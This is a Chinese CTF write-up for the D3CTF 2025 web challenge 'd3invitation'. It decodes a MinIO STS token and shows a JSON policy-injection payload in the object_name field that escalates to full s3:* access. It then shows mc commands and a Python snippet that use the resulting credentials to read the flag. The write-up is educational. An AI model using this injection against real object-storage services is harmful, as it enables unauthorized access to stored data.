当前位置: 首页 > news >正文

D3ctf-web-d3invitation单题wp

#注入 #用kali构造凭证访问MinIO服务器 #用mc带临时凭证访问远程Minion的储存桶

请添加图片描述

请添加图片描述

还有一个 minio 服务的api,我们后面要用

/static/js/tools.js

function generateInvitation(user_id, avatarFile) {if (avatarFile) {object_name = avatarFile.name;genSTSCreds(object_name).then(credsData => {return putAvatar(credsData.access_key_id,credsData.secret_access_key,credsData.session_token,object_name,avatarFile).then(() => {navigateToInvitation(user_id,credsData.access_key_id,credsData.secret_access_key,credsData.session_token,object_name)})}).catch(error => {console.error('Error generating STS credentials or uploading avatar:', error);});} else {navigateToInvitation(user_id);}
}function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {let url = `invitation?user_id=${encodeURIComponent(user_id)}`;if (access_key_id) {url += `&access_key_id=${encodeURIComponent(access_key_id)}`;}if (secret_access_key) {url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;}if (session_token) {url += `&session_token=${encodeURIComponent(session_token)}`;}if (object_name) {url += `&object_name=${encodeURIComponent(object_name)}`;}window.location.href = url;
}function genSTSCreds(object_name) {return new Promise((resolve, reject) => {const genSTSJson = {"object_name": object_name}fetch('/api/genSTSCreds', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify(genSTSJson)}).then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.json();}).then(data => {resolve(data);}).catch(error => {reject(error);});});
}function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {return new Promise((resolve, reject) => {const formData = new FormData();formData.append('access_key_id', access_key_id);formData.append('secret_access_key', secret_access_key);formData.append('session_token', session_token);formData.append('object_name', object_name);formData.append('avatar', avatar);fetch('/api/putObject', {method: 'POST',body: formData}).then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.json();}).then(data => {resolve(data);}).catch(error => {reject(error);});});
}

以下是对提供的 JavaScript 代码的分析,涵盖功能逻辑、安全性和潜在问题:

核心功能流程

  1. generateInvitation 函数

    • 检查用户是否上传头像 (avatarFile)
    • 有头像时
      • 调用 genSTSCreds() 获取临时安全凭证 (STS)
      • 使用凭证上传头像到存储服务 (putAvatar())
      • 上传成功后跳转到邀请页面 (navigateToInvitation())
    • 无头像时:直接跳转邀请页面(不传递凭证)
  2. 凭证获取与上传

    • genSTSCreds():通过 /api/genSTSCreds 接口获取临时安全凭证
    • putAvatar():使用临时凭证通过 /api/putObject 上传头像文件
  3. 页面跳转

    • navigateToInvitation() 构建包含敏感参数的 URL:
      invitation?user_id=...&access_key_id=...&secret_access_key=...&session_token=...&object_name=...
      

关键安全问题

  1. 敏感信息暴露 ⚠️

    • 问题:将 access_key_idsecret_access_keysession_token 直接暴露在 URL 中
    • 风险
      • 浏览器历史记录泄露
      • 服务器日志记录
      • Referer 头部外泄
      • 第三方分析工具捕获
  2. 临时凭证滥用 ⚠️

    • STS 凭证虽有时效性,但通过 URL 传递可能被中间人截获
    • 攻击者可利用凭证操作云存储(下载/删除对象)
  3. 缺乏错误处理 ⚠️

    • catch 块仅打印错误,无用户反馈
    • 头像上传失败时用户无感知(直接卡在流程中)

代码优化建议

  1. 敏感数据处理

    // 改用 sessionStorage 存储凭证
    function navigateToInvitation(user_id, creds) {const token = generateSecureToken(); // 生成一次性令牌sessionStorage.setItem(token, JSON.stringify(creds));window.location.href = `invitation?user_id=${user_id}&token=${token}`;
    }// 邀请页面中取凭证
    const token = new URLSearchParams(location.search).get('token');
    const creds = JSON.parse(sessionStorage.getItem(token));
    
  2. 服务端优化

    • 改为服务端直接返回预签名 URL(避免前端处理凭证)
    // 示例:S3 预签名 URL 方案
    const presignedUrl = s3.generatePresignedPost('avatar-upload');
    
  3. 增强错误处理

    .catch(error => {showToast("头像上传失败,请重试"); // 用户提示enableUploadButton(); // 恢复 UI
    });
    
  4. 安全传输改进

    • /api/genSTSCreds/api/putObject 启用 HTTPS
    • 添加 CSRF 保护令牌

其他潜在问题

问题点风险说明解决方案
URL 长度限制凭证参数可能超出 URL 最大长度使用 POST + sessionStorage
文件类型验证缺失可能上传恶意文件服务端校验 MIME 类型
凭证权限过宽STS 策略可能权限过大实施最小权限原则
XSS 风险object_name 未转义前端使用 encodeURIComponent

架构改进建议

前端 后端 对象存储 请求上传凭证 (含 MIME 类型) 生成预签名 URL 返回预签名 URL 直接上传文件 (使用预签名 URL) 通知上传完成 (user_id+object_name) 返回邀请页链接 (无敏感参数) 前端 后端 对象存储

此方案优势:前端不接触敏感凭证,URL 无敏感参数,符合最小权限原则。

解题

请添加图片描述

STS凭证限制了我们的访问:

请添加图片描述

导致对于某个凭证我们只能访问特定的文件
奇安信攻防社区-浅谈S3标准下存储桶应用中的安全问题 (butian.net)

请添加图片描述

我们把这段token jwt解码一下

"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5VzY5T08zNzBQUlIyUTRaRVFWTSIsImV4cCI6MTc0OTEyMTg2NSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2YzJocGNDNXFjR2NpWFgxZGZRPT0ifQ.PPuh1lXpWNCHem95YhfRqBZCb74nRtruZjst_10nvctS92Zq7kNUvmeHDqruCGIAs2wKqw3bBfMoa7qPcRNyxQ"

请添加图片描述

发现 sessionPolicy (策略

"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6UHV0T2JqZWN0IiwiczM6R2V0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vc2hpcC5qcGciXX1dfQ=="

进行base64解密:
请添加图片描述

这时能看出来这是MinIO 私有化部署颁发的临时访问凭证

当前凭证同时满足:
1. eyJ 开头的JWT
2. 包含 sessionPolicyparent 字段

==→ 100% MinIO私有部署凭证

而且,发现我们的文件名是可以在这里达成可控的:

{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject"],"Resource":["arn:aws:s3:::d3invitation/ship.jpg"]}]}

该SessionToken是​​符合JWT标准的临时凭证​

“arn:aws:s3:::d3invitation/ship.jpg”是 AWS(Amazon Web Services)的 S3(Simple Storage Service)资源的 ARN(Amazon Resource Name)。

1. ARN 的构成

  • arn:这是 ARN 的前缀,表示这是一个亚马逊资源名称。 Amazon Resource Name(ARN)的缩写,它是一个唯一标识符,用于标识AWS(Amazon Web Services)中的资源。
  • aws:表示该资源属于 AWS 服务。
  • s3:指明该资源是 S3 服务中的资源。S3 是一种对象存储服务,可以存储各种类型的文件,如图片、文档等。
  • ::::这是 ARN 的分隔符,用于分隔服务和资源名称
  • d3invitation:这是 S3 存储桶(bucket)的名称。在 S3 中,存储桶是存储对象(文件)的容器。在这个例子中,“d3invitation”是存储桶的名字,它在 AWS 账户中是唯一的。
  • ship.jpg:这是存储在“d3invitation”存储桶中的一个对象(文件)的名称。在这个例子中,它是一个图片文件。

2. 作用
这个 ARN 可以唯一地标识 S3 中的“ship.jpg”文件。在 AWS 的各种服务和操作中,当需要引用这个文件时,就可以使用这个 ARN。例如,在设置权限策略、在其他服务中引用该文件等场景下,这个 ARN 都可以起到关键的作用。



所以对于这个题 我们要进行IAM策略注入,提升资源范围和S3服务相关的权限:

策略注入

题目没有进行任何过滤,我们可以尝试构造一个特殊的 object_name 对 policy 进行
注入,拿到一个对 MinIO 拥有全部权限的 STS 临时凭证

  • ! 也就是通过注入扩展了策略的资源(Resources)范围

  • ! 同时注意一点: 策略本身像"通用货币"(可在S3/MinIO流通),但支付环境(端点/凭证/API)明确指向 MinIO

{"object_name":
"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}这是一个策略,表示 这个策略是允许访问的,对于S3服务相关的权限全部允许,操作适用的资源列表为全部资源

“MinIO”是一种高性能的对象存储服务,通常用于存储大量的非结构化数据,比如图片、视频、日志文件等。它通过提供与Amazon S3兼容的API接口,让用户可以方便地进行数据的存储和检索。在你提到的上下文中,它可能是在描述一个与MinIO相关的签名验证过程,即MinIO会检查所有签名头部的完整性,以确保数据传输的安全性和一致性。


关于策略,可参考这篇文章学习
OSS RAM策略编辑器的地址和使用方法_对象存储(OSS)-阿里云帮助中心 (aliyun.com)

请添加图片描述

[[MinIO 刻意 100% 复刻了 Amazon S3 的 API 接口 那怎么区分是谁的?]]

接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag

解法一 [[d3invitation的脚本]]

D^3CTF 2025 Writeup (qq.com)

解法二 用kali构造凭证访问MinIO 服务器

大致流程

🛠️ 操作流程解析

Kali Linux MinIO 服务器(241.98.126:31797) 1. 配置访问凭证 2. 列出存储桶内容 (mc ls) 3. 查看flag目录 (mc ls) 4. 获取flag文件内容 (mc cat) 返回flag内容 Kali Linux MinIO 服务器(241.98.126:31797)

🔑 1. 配置访问凭证

export HC_HOST_d3invitation="http://<access_key>:<secret_key>:<session_token>@241.98.126:31797"
  • 核心组件
    • HC_HOST_ 前缀:自定义环境变量(应为 MC_HOST_,可能是笔误)
    • 访问密钥UI69PCQ9CPQTN2BSIHGQ
    • 秘密密钥o8m4dMgj4b1nJdt+683M
    • 会话令牌eyJhbGci...(JWT 格式)
    • 服务器地址241.98.126:31797

MinIO 特征
JWT 格式的 session_token 确认是 MinIO 私有部署


📂 2. 列出存储桶内容

mc ls d3invitation/

输出

[2025-06-01 17:22:06 CST]    08 flag/
  • d3invitation:存储桶名称
  • flag/:存储桶内的目录
  • 08:目录大小(8字节元数据)

🔍 3. 查看 flag 目录

mc ls d3invitation/flag

输出

[2025-06-01 17:22:06 CST]    558 STAUOMD flag
  • flag:文件名
  • 558:文件大小(558字节)
  • STAUOMD:文件 ETag(哈希标识)

🚩 4. 获取 flag 文件内容

mc cat d3invitation/flag/flag  # 应为 mc cat(cs可能是笔误)

输出

d3ctfl-tNTnk-mE_H@Ve=eNeQuNter3d_PQLtCy_INJCctlon?lc)
  • 这是文件的真实内容,即 CTF 比赛的 flag
  • 格式为:d3ctfl-<随机字符串>

🔧 技术实现原理

(1) MinIO 客户端 (mc)
  • 作用:类似 AWS aws s3 命令的 MinIO 专用客户端
  • 认证流程
    提取
    提取
    提取
    配置环境变量
    MC_HOST_<别名>
    access_key
    secret_key
    session_token
    C+D+E
    生成AWS SigV4签名
    发送认证请求
(2) 关键命令解析
命令作用等价 AWS 命令
mc ls <存储桶>列出存储桶内容aws s3 ls s3://bucket
mc ls <存储桶>/路径列出目录内容aws s3 ls s3://path/
mc cat <对象路径>输出对象内容(此处用 csaws s3 cp s3://obj -
(3) JWT 会话令牌工作流程
Client MinIO 1. 发送请求(SigV4签名+JWT) 2. 验证JWT签名 3. 解码策略( sessionPolicy ) 4. 检查资源权限 返回请求数据 返回403错误 alt [权限有效] [权限无效] Client MinIO

🚨 安全风险提示

  1. 凭证硬编码暴露

    • 访问密钥/秘密密钥直接写在命令中
    • JWT 令牌包含完整策略信息(可被解码)
  2. 敏感信息泄露

    // JWT 解码示例
    {"accessKey": "UI69PCQ9CPQTN2BSIHGQ","parent": "B9M320QXHD38WUR2MIY3","sessionPolicy": "eyJ...base64编码的策略..."
    }
    
  3. 防御建议

    # 正确做法:使用临时会话
    mc --insecure alias set d3invitation \http://241.98.126:31797 \UI69PCQ9CPQTN2BSIHGQ \o8m4dMgj4b1nJdt+683M \--api s3v4# 单独设置会话令牌
    export MC_SESSION_TOKEN_d3invitation="eyJhbGci..."
    

💎 总结

  1. 操作本质
    通过 MinIO 客户端获取存储在私有部署服务器上的 flag 文件

  2. 技术亮点

    • 利用 MinIO 完全兼容 S3 API 的特性
    • 通过 JWT 令牌实现细粒度临时授权
    • 命令行工具高效访问对象存储
  3. 获得 Flag
    d3ctfl-tNTnk-mE_H@Ve=eNeQuNter3d_PQLtCy_INJCctlon?lc)

payload

[[访问远端 MinIO 服务]]

export HC_HOST_d3invitation="http://WOOHQG0VHJK4XIG3PJQY:D0CSiqvuzUAm1DQ2t+PUDJVq77baOl6xv7CO3sw9:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJXT09IUUcwVkhKSzRYSUczUEpRWSIsImV4cCI6MTc0OTIxOTg3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.4F0-QiaS_3jyOrnovlMfF_VDZkjcYj9t8We0pCXubsugTPrOCMAX0eVwid1tSfAh75s6s4DTInxNXpVWE8JGBg@35.241.98.126:30706"

使用kali安装mc --[[​​MinIO 客户端工具​​ mc]]

export MC_HOST_d3invitation="http://83CDCL5LF7NJAUX1MLK7:w1791L7SgdoYdsnpN9PyMLpmgQYAa8CLaMUqePq9@35.241.98.126:32380"export AWS_SESSION_TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4M0NEQ0w1TEY3TkpBVVgxTUxLNyIsImV4cCI6MTc0OTIyNDA1MCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.c-jXocFf70WO9q7nSzl26KM_6o9cK7GXR8JWSnFBbpbmB7MAsnByekrvTffwj0_C0r3Zl-8C6d4kPTaYB-IINA"

mc alias set 来配置:

先用 mc alias set 注册了一个叫 yz 的 alias(不带 Session Token):

mc alias set yz \http://35.241.98.126:32380 \83CDCL5LF7NJAUX1MLK7 \w1791L7SgdoYdsnpN9PyMLpmgQYAa8CLaMUqePq9 \--api S3v4

然后 用 Python 一键插入 sessionToken

python3 - << 'EOF'
import json, os# —— 修改为你自己的 Session Token
SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4M0NEQ0w1TEY3TkpBVVgxTUxLNyIsImV4cCI6MTc0OTIyNDA1MCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.c-jXocFf70WO9q7nSzl26KM_6o9cK7GXR8JWSnFBbpbmB7MAsnByekrvTffwj0_C0r3Zl-8C6d4kPTaYB-IINA"# Alias 名称,如果之前是用 `mc alias set yz ...`,请保持这里也是 "yz"
ALIAS = "yz"# mc 的配置文件路径
config_path = os.path.expanduser("~/.mc/config.json")# 读取现有配置
with open(config_path, 'r') as f:cfg = json.load(f)# 确保 aliases.yz 存在
if "aliases" not in cfg or ALIAS not in cfg["aliases"]:print(f"错误:在 {config_path} 中找不到 alias '{ALIAS}' ,请先用 mc alias set 注册。")exit(1)# 插入 sessionToken
cfg["aliases"][ALIAS]["sessionToken"] = SESSION_TOKEN# 写回配置文件(保留缩进 2 格)
with open(config_path, 'w') as f:json.dump(cfg, f, indent=2)print(f"已成功在 {config_path} 的 alias '{ALIAS}' 中插入 sessionToken。")
EOF

请添加图片描述

执行命令获取flag储存桶的flag:
请添加图片描述

得到:

d3ctf{1_thINk-we-haV3_Enc0unTERed_Pol1CY-lnJeCt1ON?l1d}

http://www.xdnf.cn/news/903025.html

相关文章:

  • Q: dify前端使用哪些开发框架?
  • Houdini POP入门学习05 - 物理属性
  • 无头浏览器技术:Python爬虫如何精准模拟搜索点击
  • 每日八股文6.6
  • PowerBI企业运营分析—列互换式中国式报表分析
  • 【应用】Ghost Dance:利用惯性动捕构建虚拟舞伴
  • 单片机内部结构基础知识 FLASH相关解读
  • 数据集-目标检测系列- 口红嘴唇 数据集 lips >> DataBall
  • windows10搭建nfs服务器
  • Linux中 SONAME 的作用
  • mysql-MySQL体系结构和存储引擎
  • 《UE5_C++多人TPS完整教程》学习笔记37 ——《P38 变量复制(Variable Replication)》
  • Xsens-AAA工作室品质,为动画师准备
  • 中科院1区顶刊|IF14+:多组学MR联合单细胞时空分析,锁定心血管代谢疾病的免疫治疗新靶点
  • Bootstrap 5 文件结构与 API 使用指南
  • 从EDR到XDR:终端安全防御体系演进实践指南
  • 汽车免拆诊断案例 | 2010款捷豹XFL车制动警告灯、DSC警告灯异常点亮
  • curl获取ip定位信息 --- system(一)
  • Git版本控制工具详解
  • 电脑定时关机工具推荐
  • scss(sass)中 的使用说明
  • 装载机防撞系统:智能守护,筑牢作业现场人员安全防线
  • 智绅科技 —— 智慧养老 + 数字健康,构筑银发时代安全防护网
  • JVM虚拟机:内存结构、垃圾回收、性能优化
  • 用设计模式重新思考(类FSM)验证:从混乱到优雅
  • 无人机定位系统技术设计与难点突破!
  • 项目管理的五个阶段有哪些核心功能?项目管理过程需要注意什么?
  • LlamaFactory × 多模态RAG × Chat-BI:万字长文探寻RAG进化轨迹,打造卓越专业AI助手
  • 20250606-C#知识:泛型与非泛型容器的基本操作
  • gitlab CI/CD本地部署配置